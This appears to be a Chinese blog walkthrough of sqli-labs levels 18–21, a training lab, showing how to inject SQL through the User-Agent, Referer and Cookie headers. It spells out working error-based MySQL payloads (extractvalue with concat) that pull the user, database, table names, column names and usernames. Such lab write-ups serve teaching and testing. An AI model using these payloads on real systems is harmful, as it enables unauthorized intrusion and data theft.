当前位置: 代码迷 >> 综合 >> sqli-labs练习(十八、十九、二十、二十一)
  详细解决方案

sqli-labs练习(十八、十九、二十、二十一)

热度:29   发布时间:2023-09-23 00:32:18.0

sqli-labs练习十八 — POST-Headers Injection-Uagent field-Error based

sqli-labs练习(十八、十九、二十、二十一)
按照正常思路,先是对username和password输入框进行测试,并没有找到注入点,页面上显示的ip地址也很奇怪,最会无奈查看了源代码,才发现了突破口。
发现后台对uname和passwd有检查过滤函数check_input
sqli-labs练习(十八、十九、二十、二十一)
于是跟进check_input函数,发现对输入的参数进行了长度限制,纯数字过滤,特殊符号过滤
sqli-labs练习(十八、十九、二十、二十一)
到现在我们就可以看出,在uname和passwd出已经无法入手,,,,
往后看,又发现了一处sql执行语句执行了插入
sqli-labs练习(十八、十九、二十、二十一)
并且只能是正确的用户名和密码的情况下才能进行下一步的插入操作,从代码可以看出,插入的数据有uagent、IP、uname,由于uname有过滤函数,不存在注入点,在测试ip出注入的时候发现会出现请求错,最后在uagent处发现注入点
sqli-labs练习(十八、十九、二十、二十一)
得到页面在uagent报错
sqli-labs练习(十八、十九、二十、二十一)

根据上面的尝试过程可以发现在uagent处存在报错注入。
构造payload:' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and '1'='1
sqli-labs练习(十八、十九、二十、二十一)
payload成功执行
获取数据库名:
' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and '1'='1
获取表名:
' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e))) and '1'='1
获取字段名:
' and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))) and '1'='1
获取字段值:
' and (extractvalue(1,concat(0x7e,(select username from users),0x7e))) and '1'='1

sqli-labs练习十九 — POST-Header Injection-Referer field-Error based

第十九关和第十八关很类似,都是http的头部注入,只不过这这一关是在Referer出进行注入,仍然是报错注入,payload都不用更换,
例如payload获取数据库名:
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
sqli-labs练习(十八、十九、二十、二十一)

sqli-labs练习二十 — POST-Cookie injections-Uagent field-error based

这关还是POST型http头部注入,这不过这次注入的位置为cookie处,
sqli-labs练习(十八、十九、二十、二十一)
仍然用上面的payload:
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
sqli-labs练习(十八、十九、二十、二十一)
注入成功:
sqli-labs练习(十八、十九、二十、二十一)

sqli-labs练习 二十一 — Cookie injection-base64 encoded-single quotes and parenthesis

这关对cookie进行了base64编码,
sqli-labs练习(十八、十九、二十、二十一)
将数据解码来看,得到uname=admin
sqli-labs练习(十八、十九、二十、二十一)

  相关解决方案